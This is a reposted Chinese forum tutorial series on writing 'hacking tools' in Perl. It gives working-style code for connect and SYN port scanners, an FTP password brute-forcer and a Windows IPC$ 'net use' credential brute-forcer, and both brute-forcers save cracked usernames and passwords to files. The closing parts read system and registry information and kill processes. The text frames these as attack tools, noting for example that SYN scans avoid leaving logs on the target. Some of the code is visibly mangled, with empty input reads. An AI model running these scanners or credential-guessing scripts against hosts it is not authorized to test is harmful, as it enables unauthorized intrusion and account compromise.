设为首页 收藏本站
查看: 714|回复: 0

[经验分享] perl打造自己的黑客工具 [转]

[复制链接]

尚未签到

发表于 2015-12-26 12:25:43 | 显示全部楼层 |阅读模式
  
  学计算机程序的朋友最大的愿望就是能编出一款功能强大的程序,但实现起来却不容易,需要花很多时间来学习计算机语言,今天我就给大家介绍一个好用网络编程语言Practical Extraction and Report Language(perl),严格的说它只是个脚本语言,Perl象C一样强大,象awk、sed等脚本描述语言一样方便。
如果你用的是unix环境那你一定对perl很熟悉了,今天我要谈的是在windows下用perl来打造一个自己满意的程序,如果你学过c语言的话,那你上手一定很快,因为他很c语言很相似。
我们先来看一个简单的程序:
#usr/bin/perl
print "你好!请输入你的名字:";
$name=;
chop($name);
print "$name你好!欢迎你来到perl的世界。\n"

  是不是感觉很简单,在也不要用english来对话了。perl为我们提供了很多功能,你只要对这些功能了解,就会很方便的写出让自己满意的程序。
我们先来看看它的网络编程,在perl里面提供了很多模块,我要做的就是调用这些模块来完成自己要做的。我们今天就来学习一个perl打造的Connect扫描器。

  #!usr/bin/perl #perl程序开头标式
use IO::Socket; #载如IO::Socket包
print "请输入你要扫描的主机:";
$ARGV[0]=; #从键盘上输入数据到$ARGV[0]
chop($ARGV[0]); #把最后一个字符删除
$host=$ARGV[0];
$file="ports.txt";
open(FILE,"$file")||die "$file端口文件是不是你搞丢了啊?自己重写一个吧\n"; #打开文件
while(@all=){ #循环读取文件中的端口
print"正在扫描$host……\n";
foreach $port (@all){
$sock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Timeout=>60); #新建IO::Socket::INET对象 $sock
if($sock){ #判断端口是否打开
print("$host主机->$port端口打开着!\n");$sock->close; #关闭SOCKET对象
}else{
print "$port关闭着!\n";
}
}print("\n");
}print("端口扫描结束,谢谢使用!");
exit 1;

  看明白了吗?是不是很容易?这样我们就能对远程主机扫描了,这个connect连接的优点就是速度快,但被主机记录。这个程序只是个单线程的,速度不是很快。下面是demonalex的一个多线程的Connect扫描程序。
  #!usr/bin/perl -w
#duo_xian_scan2.pl
use IO::Socket;
use Thread;
@port=(21,23,80);
$ip=$ARGV[0];
foreach $result (@port){
Thread->new(\&sock,$ip,$result);
Thread->self->join;
}
exit 1;

  sub sock{
$remote_ip=shift;
$remote_port=shift;
$sock=IO::Socket::INET->new("$remote_ip:$remote_port");
if(defined $sock){
print"***The $remote_ip\'s $remote_port is OPENED!***\n";
$sock->close;
}else{
print"***The $remote_ip\'s $remote_port is CLOSED!***\n";
}
return;
}
这个程序把扫描的一块定义成一个子程序,然后调用多线程的模块,来调用子程序。调试不成功?呵呵,我也没成功,我把Thread->self->join;改成了Thread->join;就成功运行。
好了,今天这个connect扫描器就讲到这里了。

                                               perl打造自己的黑客工具(2)
上一次我们是讲的connect扫描,今天我们讲用perl实现syn扫描,也叫"半开放"扫描,也就是发送一个syn包来探测,由于只没和远程主机完成三次会话,所以一般不会在远程机器上留下记录。
好了,不多说了,看看代码吧。

  #usr/bin/perl
use IO::Socket;
use Net::Ping; # 载入模块 print "请输入你要扫描的主机:";
$host=;
chop($host);
$file="ports.txt";
open(FILE,"$file")||die "找不到$file端口文件\n" ; #打开文件
while(@all=){
print"正在扫描……\n";
foreach $port(@all){ #循环读取端口
$syn=Net::Ping->new("syn"); #发送syn包
$syn->{ port_num }=$port; #发送到指定port
$syn->ping($host); #发送到指定host
if($syn->ack){ #判断返回信息
print("$host主机->$port端口打开着!\n");$syn->close;
} }
}print("\n");print("端口扫描结束,谢谢使用!");exit 1;

  不要我说太多吧,和原来的程序差不多哦。如果嫌扫描程序不够快,那就把它换成个多线程的啊,呵呵。
                     perl打造自己的黑客工具(3)
在第一节我就讲到perl提供了很多模块,我们只要会调用这些模块我们就可以写出自己的网络应用程序,今天我就来介绍一个perl写的ftp猜解器。原理很简单,利用perl的模块与远程主机建立连接,如果成功就显示破解成功,没成功则继续利用下一个用户和密码猜解。

  #usr/bin/perl
use NET::FTP;
print "请输入你要猜解的主机:";
$host=;
print "开始暴力破解……";
$file1="FTPUSER";
$file2="FTPPASS";
open(FILE,"$file1")||die "$file1文件是不是你搞丢了啊?自己重写一个吧\n" ; #打开用户名文件
while(@user=){
foreach $user(@user){ #循环读取用户名
chop($user);
open(FILE,"$file2")||die "$file2文件是不是你搞丢了啊?自己重写一个吧\n" ; #打开密码文件
while(@password=){
foreach $password(@password){ #循环读取密码 chop($password);
print "\n";
print "\n";
$ftp=Net::FTP->new($host) || die "连接不上远程计算机!\n" ; #与远程主机建立连接
print "正在破解$user->$password\n";
if($ftp){
$a=$ftp->login($user,$password); #发送用户名和密码
$ftp->quit; # 退出ftp会话
if ($a==1)
{
print "恭喜你!发现弱口令! 用户名$user 密码:$password\n";
open (H,">>ftpscan.txt")||die "打不开ftpscan.txt\n"; #打开文件将破解好的用户和密码放进去
print H "主机$host用户名:$user 密码:$password \n";
close H;
}
}
}
}
}
}
print "结果已写入ftpscan.txt文件请查看\n";
又是一个简单的例子,你是不是觉得自己突然强大起来了?呵呵。

                                               perl打造自己的黑客工具(4)
前面几篇我们都是利用perl模块来实现任务的,今天我们就用perl调用系统命令来实现IPC$远程猜解,适合win2k以上的系统。代码也十分简单。

  #usr/bin/perl
print "请输入要猜解的IP:";
$host=;
chop($host);
$file1="NT_USER";
$file2="NT_PASS";
open(FILE,"$file1")||die "$file1文件是不是你搞丢了啊?自己重写一个吧\n" ;
while(@user=){
foreach $name(@user){
open(FILE,"$file2")||die "$file2文件是不是你搞丢了啊?自己重写一个吧\n" ;
while(@pass=){
foreach $password(@pass){
chop($password);
print ("正在尝试$name$password\n"); #从这里往上不要我解释了吧
$check=system ("net use \\\\$host\\ipc\$ $password /user:$name"); #调用perl函数,执行系统命令
if(!$check) { #判断连接是否成功
system ("net use \\\\$host\\ipc\$ /del"); #成功连接后就删除连接,并打开文件写入
open (H,">>ipcscan.txt")||die "打不开ipcscan.txt\n";
print H "主机$host用户名:$name 密码:$password \n";
close H;
}
}
}
}
}
print "结果已写入ipcscan.txt文件请查看\n";

  好了,是不是很简单,发挥你的想象,自己也创造一个自己需要的工具。
  
                                             perl打造自己的黑客工具(5)
perl也提供了api函数调用,这样我们可以在为自己的软件添加一些功能了,我这里主要是介绍得到系统信息的。调用api函数还能实现很多功能,比如删除日志,终止进程,具体的参考perl的帮助吧。
现在我们来看看我是这样获得系统信息的。
  #usr/bin/perl
use Win32API::Registry 0.21 qw( :ALL );
use Sys::Hostname;
$host=hostname;
print "主机名:$host\n";
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", 0,KEY_READ, $key )||die "失败",regLastError(),"\n";
RegQueryValueEx( $key, "VendorIdentifier", [], [], $data, [] );
printf "CPU信息:$data ";
RegQueryValueEx( $key, "ProcessorNameString", [], [], $data, [] );
printf "$data\n";
RegCloseKey( $Key );
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", 0,KEY_READ, $key )||die "失败",regLastError(),"\n";
RegQueryValueEx( $key, "SystemBiosVersion", [], [], $data, [] );
printf "BIOS信息:$data\n";
RegCloseKey( $Key );
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", 0,KEY_READ, $key )||die "失败",regLastError(),"\n";
RegQueryValueEx( $key, "Identifier", [], [], $data, [] );
printf "硬盘信息:$data\n";
RegCloseKey( $Key );
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Control\\Class\\{ 4D36E968-E325-11CE-BFC1-08002BE10318 }\\0000", 0,KEY_READ, $key )||die "失败",regLastError(),"\n";
RegQueryValueEx( $key, "DriverDesc", [], [], $data, [] );
printf "显卡信息:$data ";
RegQueryValueEx( $key, "DriverVersion", [], [], $data, [] );
printf "版本:$data\n";
RegCloseKey( $Key );
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0,KEY_READ, $key )||die "失败",regLastError(),"\n";
RegQueryValueEx( $key, "ProductName", [], [], $data, [] );
printf "操作系统:$data ";
RegQueryValueEx( $key, "CurrentVersion", [], [], $data, [] );
printf "$data.";
RegQueryValueEx( $key, "CurrentBuildNumber", [], [], $data, [] );
printf "$data ";
RegQueryValueEx( $key, "CSDVersion", [], [], $data, [] );
printf "$data\n";
RegQueryValueEx( $key, "RegisteredOwner", [], [], $data, [] );
printf "注册到:$data ";
RegQueryValueEx( $key, "RegisteredOrganization", [], [], $data, [] );
printf " $data ";
RegQueryValueEx( $key, "ProductId", [], [], $data, [] );
printf " $data\n";
RegQueryValueEx( $key, "SystemRoot", [], [], $data, [] );
printf "系统根目录:$data\n";
RegCloseKey( $Key );
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Internet Explorer", 0,KEY_READ, $key )||die "失败",regLastError(),"\n";
RegQueryValueEx( $key, "Version", [], [], $data, [] );
printf "IE版本:IE $data\n";
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 1\\Scsi Bus 0\\Target Id 1\\Logical Unit Id 0", 0,KEY_READ, $key )||die "失败",regLastError(),"\n";
RegQueryValueEx( $key, "Identifier", [], [], $data, [] );
printf "光驱信息:$data\n";
RegCloseKey( $Key );
exit 1;
  这个程序,是调用了注册表来得到信息,非常容易。
  #!/usr/bin/perl
use Win32::kernel32;
use win32;
use win32::api;
use Win32API::File 0.08 qw( :ALL );
$olOutLength= GetLogicalDriveStrings(4*26+1, $osBuffer );
print "本机器上有:\n";
printf "$osBuffer\n";
print "请输入需要查看的分区(注意加'\\'!):";
$disk=;
chop($disk);
$free = Win32::GetDiskFreeSpace("$disk");
$a=$free/1024;
printf "此分区有$a KB空余\n";
$type=Win32::GetDriveType($disk);
if($type==0){ printf "分区类型:UNKNOWN\n"; }
if($type==1){ printf "分区类型:The root directory does not exist\n"; }
if($type==2){ printf "分区类型:A floppy drive\n"; }
if($type==3){ printf "分区类型:A fixed drive\n"; }
if($type==4){ printf "分区类型:A remote (network) drive\n"; }
if($type==5){ printf "分区类型:A CD-ROM drive\n"; }
if($type==6){ printf "分区类型:A RAM disk\n"; }
if($type<0){ printf "UNKNOWN\n"; }
if($type>6){ printf "UNKNOWN\n"; }
GetVolumeInformation( $disk, $osVolName, $lVolName, $ouSerialNum, $ouMaxNameLen, $ouFsFlags, $osFsType, $lFsType );
printf "卷标名:$osVolName\n";
printf "序列号:$ouSerialNum\n";
printf "文件系统:$osFsType\n";
  这个程序是获得系统的磁盘信息的,具体看perl的帮助。
  
#!/usr/bin/perl
print "输入要杀进程的PID:";
$listid=;
chop($listid);
$a=kill(9,$listid);
if($a){ print "关闭$listid进程成功"; }
else{
print "关闭$listid进程失败"; }exit;
  这个小小的程序可以查杀一些普通的进程。

  

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-156543-1-1.html 上篇帖子: Perl中$#ARGV是什么意思 下篇帖子: 初尝 Perl
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表